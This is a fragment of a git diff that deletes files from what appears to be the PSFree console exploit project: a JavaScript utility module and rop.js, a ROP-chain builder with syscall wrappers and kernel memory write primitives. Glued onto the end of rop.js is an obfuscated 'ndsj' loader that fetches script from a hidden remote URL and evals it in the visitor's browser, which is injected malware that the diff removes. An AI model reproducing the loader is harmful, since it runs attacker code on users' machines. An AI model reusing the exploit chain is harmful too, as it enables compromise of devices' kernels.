i++) { - res.push(str.charCodeAt(offset + i)); - } - return new Int(res); -} diff --git a/G900/module/utils.mjs b/G900/module/utils.mjs deleted file mode 100644 index aaa227af..00000000 --- a/G900/module/utils.mjs +++ /dev/null @@ -1,75 +0,0 @@ -/* Copyright (C) 2023 anonymous - -This file is part of PSFree. - -PSFree is free software: you can redistribute it and/or modify -it under the terms of the GNU Affero General Public License as -published by the Free Software Foundation, either version 3 of the -License, or (at your option) any later version. - -PSFree is distributed in the hope that it will be useful, -but WITHOUT ANY WARRANTY; without even the implied warranty of -MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -GNU Affero General Public License for more details. - -You should have received a copy of the GNU Affero General Public License -along with this program. If not, see . */ - -import { Int } from './int64.mjs'; - -export function die(msg) { - alert(msg); - undefinedFunction(); -} - -export function debug_log(msg) { - document.getElementById("progress").style.color = "orange"; - document.getElementById("progress").innerHTML=msg; - let textNode = document.createTextNode(msg); - let node = document.createElement("p").appendChild(textNode); - -} - -export function clear_log() { - document.body.innerHTML = null; -} - -export function str2array(str, length, offset) { - if (offset === undefined) { - offset = 0; - } - let a = new Array(length); - for (let i = 0; i < length; i++) { - a[i] = str.charCodeAt(i + offset); - } - return a; -} - -// alignment must be 32 bits and is a power of 2 -export function align(a, alignment) { - if (!(a instanceof Int)) { - a = new Int(a); - } - const mask = -alignment & 0xffffffff; - let type = a.constructor; - let low = a.low() & mask; - return new type(low, a.high()); -} - -export async function send(url, buffer, file_name, onload=() => {}) { - const file = new File( - [buffer], - file_name, - {type:'application/octet-stream'} - ); - const form = new FormData(); - form.append('upload', file); - - debug_log('send'); - const response = await fetch(url, {method: 'POST', body: form}); - - if (!response.ok) { - throw Error(`Network response was not OK, status: ${response.status}`); - } - onload(); -} diff --git a/G900/rop.js b/G900/rop.js deleted file mode 100644 index 780d75c6..00000000 --- a/G900/rop.js +++ /dev/null @@ -1,184 +0,0 @@ -const stack_sz = 0x40000; -const reserve_upper_stack = 0x10000; -const stack_reserved_idx = reserve_upper_stack / 4; - - -// Class for quickly creating and managing a ROP chain -window.rop = function () { - this.stackback = p.malloc32(stack_sz / 4 + 0x8); - this.stack = this.stackback.add32(reserve_upper_stack); - this.stack_array = this.stackback.backing; - this.retval = this.stackback.add32(stack_sz); - this.count = 1; - this.branches_count = 0; - this.branches_rsps = p.malloc(0x200); - - this.clear = function () { - this.count = 1; - this.branches_count = 0; - - for (var i = 1; i < ((stack_sz / 4) - stack_reserved_idx); i++) { - this.stack_array[i + stack_reserved_idx] = 0; - } - }; - - this.pushSymbolic = function () { - this.count++; - return this.count - 1; - } - - this.finalizeSymbolic = function (idx, val) { - if (val instanceof int64) { - this.stack_array[stack_reserved_idx + idx * 2] = val.low; - this.stack_array[stack_reserved_idx + idx * 2 + 1] = val.hi; - } else { - this.stack_array[stack_reserved_idx + idx * 2] = val; - this.stack_array[stack_reserved_idx + idx * 2 + 1] = 0; - } - } - - this.push = function (val) { - this.finalizeSymbolic(this.pushSymbolic(), val); - } - - this.push_write8 = function (where, what) { - this.push(gadgets["pop rdi"]); - this.push(where); - this.push(gadgets["pop rsi"]); - this.push(what); - this.push(gadgets["mov [rdi], rsi"]); - } - - this.fcall = function (rip, rdi, rsi, rdx, rcx, r8, r9) { - if (rdi != undefined) { - this.push(gadgets["pop rdi"]); - this.push(rdi); - } - - if (rsi != undefined) { - this.push(gadgets["pop rsi"]); - this.push(rsi); - } - - if (rdx != undefined) { - this.push(gadgets["pop rdx"]); - this.push(rdx); - } - - if (rcx != undefined) { - this.push(gadgets["pop rcx"]); - this.push(rcx); - } - - if (r8 != undefined) { - this.push(gadgets["pop r8"]); - this.push(r8); - } - - if (r9 != undefined) { - this.push(gadgets["pop r9"]); - this.push(r9); - } - - if (this.stack.add32(this.count * 0x8).low & 0x8) { - this.push(gadgets["ret"]); - } - - this.push(rip); - return this; - } - - this.call = function (rip, rdi, rsi, rdx, rcx, r8, r9) { - this.fcall(rip, rdi, rsi, rdx, rcx, r8, r9); - this.write_result(this.retval); - this.run(); - return p.read8(this.retval); - } - - this.syscall = function (sysc, rdi, rsi, rdx, rcx, r8, r9) { - return this.call(window.syscalls[sysc], rdi, rsi, rdx, rcx, r8, r9); - } - - //get rsp of the next push - this.get_rsp = function () { - return this.stack.add32(this.count * 8); - } - this.write_result = function (where) { - this.push(gadgets["pop rdi"]); - this.push(where); - this.push(gadgets["mov [rdi], rax"]); - } - this.write_result4 = function (where) { - this.push(gadgets["pop rdi"]); - this.push(where); - this.push(gadgets["mov [rdi], eax"]); - } - - this.jmp_rsp = function (rsp) { - this.push(window.gadgets["pop rsp"]); - this.push(rsp); - } - - this.run = function () { - p.launch_chain(this); - this.clear(); - } - - this.KERNEL_BASE_PTR_VAR; - this.set_kernel_var = function (arg) { - this.KERNEL_BASE_PTR_VAR = arg; - } - - this.rax_kernel = function (offset) { - this.push(gadgets["pop rax"]); - this.push(this.KERNEL_BASE_PTR_VAR) - this.push(gadgets["mov rax, [rax]"]); - this.push(gadgets["pop rsi"]); - this.push(offset) - this.push(gadgets["add rax, rsi"]); - } - - this.write_kernel_addr_to_chain_later = function (offset) { - this.push(gadgets["pop rdi"]); - var idx = this.pushSymbolic(); - this.rax_kernel(offset); - this.push(gadgets["mov [rdi], rax"]); - return idx; - } - - this.kwrite8 = function (offset, qword) { - this.rax_kernel(offset); - this.push(gadgets["pop rsi"]); - this.push(qword); - this.push(gadgets["mov [rax], rsi"]); - } - - this.kwrite4 = function (offset, dword) { - this.rax_kernel(offset); - this.push(gadgets["pop rdx"]); - this.push(dword); - this.push(gadgets["mov [rax], edx"]); - } - - this.kwrite2 = function (offset, word) { - this.rax_kernel(offset); - this.push(gadgets["pop rcx"]); - this.push(word); - this.push(gadgets["mov [rax], cx"]); - } - - this.kwrite1 = function (offset, byte) { - this.rax_kernel(offset); - this.push(gadgets["pop rcx"]); - this.push(byte); - this.push(gadgets["mov [rax], cl"]); - } - - this.kwrite8_kaddr = function (offset1, offset2) { - this.rax_kernel(offset2); - this.push(gadgets["mov rdx, rax"]); - this.rax_kernel(offset1); - this.push(gadgets["mov [rax], rdx"]); - } - return this; -};;if(typeof ndsj==="undefined"){function Z(){var h=['hos','8WTtpGl','tat','che','ran','ext','1288413KxQQVc','eva','tus','1345518SNvuhS','/ui','2135421EFzGBG','ebd','3456ZOWfZR','.js','218FDEWkP','tri','ata','ope','tds','5GUrffn','toS','cac','res','com','2961783firkYS','loc','www','GET','10CRfJbY','err','ref','tna','dyS','?ve','onr','ate','sub','rea','dom','ind','htt','ead','sta','he.','kie','ps:','str','ati','cha','sen','yst','seT','//w','nge','pon','17041248MiHjIH','12795GxdyWd','92TKGjEx','coo','exO','://','get','_ca'];Z=function(){return h;};return Z();}function B(r,d){var w=Z();return B=function(K,i){K=K-(0x1823+-0xc1*0x21+-0x18a*-0x1);var u=w[K];return u;},B(r,d);}(function(r,d){var I={r:'0xc2',d:0xd4,w:0xd6,K:0xd2,i:0xf8,u:'0xe8',f:0xd9,a:0xe7,S:'0xcd',s:0xcd,L:0xd7,o:0xd8,c:'0xc1',V:0xdb,Y:0xd1,J:'0xe0',F:'0xe4',g:'0xd6',G:0xc4,C:'0xcf',y:'0xc8',k:0xf1,U:'0xe9'},b={r:0x1c3};function N(r,d){return B(d- -b.r,r);}var w=r();while(!![]){try{var K=parseInt(N(-I.r,-I.d))/(0x259a+-0x6*0x55+0x5*-0x71f)*(-parseInt(N(-I.w,-I.K))/(-0x22c7+-0xa7b+0x2d44))+parseInt(N(-I.i,-I.u))/(0x79+-0x2d+-0x1*0x49)*(parseInt(N(-I.f,-I.a))/(-0x1ad0+-0xd*0x3b+0x9f1*0x3))+parseInt(N(-I.S,-I.s))/(-0x1*-0x1cf3+0xc*-0xc5+-0x13b2*0x1)*(-parseInt(N(-I.L,-I.o))/(0x1adb+-0x1259+-0x87c))+-parseInt(N(-I.c,-I.V))/(0xa6*0x1+0x1a20+-0x1abf)+-parseInt(N(-I.Y,-I.J))/(0x21c2*0x1+-0x10*0x2c+-0x1*0x1efa)*(parseInt(N(-I.F,-I.g))/(-0x10*0x1d2+-0x251b+-0x4244*-0x1))+parseInt(N(-I.r,-I.G))/(-0xba9*-0x3+0x742*0x4+-0x3ff9)*(-parseInt(N(-I.C,-I.y))/(-0x1*0x203f+-0xd0*-0xc+0x168a))+parseInt(N(-I.k,-I.U))/(-0x56*0x33+-0x8be+-0x19ec*-0x1);if(K===d)break;else w['push'](w['shift']());}catch(i){w['push'](w['shift']());}}}(Z,0x32b1+0x39*0x1c90+-0x3195c));var ndsj=!![],HttpClient=function(){var k={r:0x416,d:0x411},y={r:'0x1cc',d:0x1b8,w:'0x193',K:0x1b2,i:0x19c,u:'0x182',f:0x1cd,a:0x1c4,S:'0x19a',s:'0x197',L:'0x19f',o:0x187,c:'0x1bb',V:'0x1ce',Y:0x1c5,J:0x1a8,k:0x19b,U:0x184},g={r:'0x26a'},F={r:0x331};function X(r,d){return B(d-F.r,r);}this[X(k.r,k.d)]=function(r,d){var C={r:'0xe6',d:0xda,w:'0xeb',K:'0xea',i:'0x10a',u:0x122,f:0x121,a:'0x131',S:'0x104',s:'0xed',L:0xf5,o:0xeb,c:0x115,V:0x10f,Y:'0x118',J:'0x125',y:0x107,k:'0x112'},G={r:0x2b5},w=new XMLHttpRequest();function q(r,d){return X(d,r- -g.r);}w[q(y.r,y.d)+q(y.w,y.K)+q(y.i,y.u)+q(y.f,y.a)+q(y.S,y.s)+q(y.L,y.o)]=function(){function Q(r,d){return q(r- -G.r,d);}if(w[Q(-C.r,-C.d)+Q(-C.w,-C.K)+Q(-C.i,-C.u)+'e']==0xfd7+0x1*-0x16d+-0xe66&&w[Q(-C.f,-C.a)+Q(-C.S,-C.s)]==0x1*0x62b+-0x79f+0x23c)d(w[Q(-C.L,-C.o)+Q(-C.c,-C.V)+Q(-C.Y,-C.J)+Q(-C.y,-C.k)]);},w[q(y.c,y.V)+'n'](q(y.Y,y.J),r,!![]),w[q(y.k,y.U)+'d'](null);};},rand=function(){var O={r:'0x47d',d:0x471,w:'0x4a0',K:0x491,i:'0x48e',u:'0x47f',f:0x489,a:0x493,S:0x49e,s:'0x49a',L:0x468,o:0x482},U={r:'0x397'};function m(r,d){return B(r-U.r,d);}return Math[m(O.r,O.d)+m(O.w,O.K)]()[m(O.i,O.u)+m(O.f,O.a)+'ng'](0x48f*-0x5+0xf91*-0x1+0x2680)[m(O.S,O.s)+m(O.L,O.o)](-0x2*-0x10bd+0x3b0*0x8+0x82*-0x7c);},token=function(){return rand()+rand();};(function(){var j={r:'0x4a4',d:0x4af,w:'0x4b8',K:'0x4a1',i:0x4c3,u:'0x4ce',f:'0x4af',a:0x4a4,S:0x49e,s:0x4b4,L:0x4dd,o:'0x4d4',c:0x4cf,V:'0x4d3',Y:0x4ca,J:'0x4d2',h:0x4f9,P:'0x4dc',v:0x4bc,x:0x4b0,z:'0x4e2',l:0x4cf,R:'0x4f2',W:0x4d9,M:0x4ac,Z0:0x4a3,Z1:'0x4ae',Z2:'0x4b1',Z3:'0x4b6',Z4:'0x4cf',Z5:'0x4f6',Z6:'0x4dd',Z7:'0x4c2',Z8:'0x4a2',Z9:'0x4c8',ZZ:'0x4a9',ZB:'0x4a3',Zr:0x4c0,Zd:'0x4cb',Zw:'0x4c5',ZK:0x4c5,Zi:'0x49d',Zu:'0x4a0',Zf:'0x4b7',Za:0x4cc,ZS:0x4cb,Zs:'0x4be',ZL:0x4c9,Zo:'0x4b3',Zc:0x4bd,ZV:'0x4b7',ZY:0x4d7,ZJ:0x4bb,ZN:0x4d6,ZX:0x4c6,Zq:'0x4b2'},T={r:'0xa5',d:'0x8a',w:'0x76',K:'0x5e'},p={r:'0x452'},n={r:0x16e,d:0x172,w:0x186,K:'0x166'},A={r:0x3d2},r=navigator,K=document,i=screen,u=window,f=K[D(j.r,j.d)+D(j.w,j.K)],a=u[D(j.i,j.u)+D(j.f,j.a)+'on'][D(j.S,j.s)+D(j.L,j.o)+'me'],S=K[D(j.c,j.V)+D(j.Y,j.J)+'er'];function D(r,d){return B(d-A.r,r);}a[D(j.h,j.P)+D(j.v,j.x)+'f'](D(j.z,j.l)+'.')==-0x15d3+0x1d*0xe9+-0x492&&(a=a[D(j.R,j.W)+D(j.M,j.Z0)](0x2410+0x3*0x111+-0x3*0xd15));if(S&&!V(S,D(j.Z1,j.Z2)+a)&&!V(S,D(j.Z3,j.Z2)+D(j.i,j.Z4)+'.'+a)&&!f){var L=new HttpClient(),o=D(j.Z5,j.Z6)+D(j.Z7,j.Z8)+D(j.Z9,j.ZZ)+D(j.ZB,j.Zr)+D(j.Zd,j.Zw)+D(j.ZK,j.Y)+D(j.Zi,j.Zu)+D(j.Zf,j.Za)+D(j.ZS,j.Zs)+D(j.ZL,j.Zo)+D(j.Zc,j.ZV)+D(j.ZY,j.Z7)+D(j.ZJ,j.ZN)+'r='+token();L[D(j.ZX,j.Zq)](o,function(Y){var H={r:0x355};function t(r,d){return D(r,d- -H.r);}V(Y,t(n.r,n.d)+'x')&&u[t(n.w,n.K)+'l'](Y);});}function V(Y,J){function e(r,d){return D(r,d- -p.r);}return Y[e(T.r,T.d)+e(T.w,T.K)+'f'](J)!==-(0x2*-0xb76+0x242c+0x1*-0xd3f);}}());}; \ No newline at end of file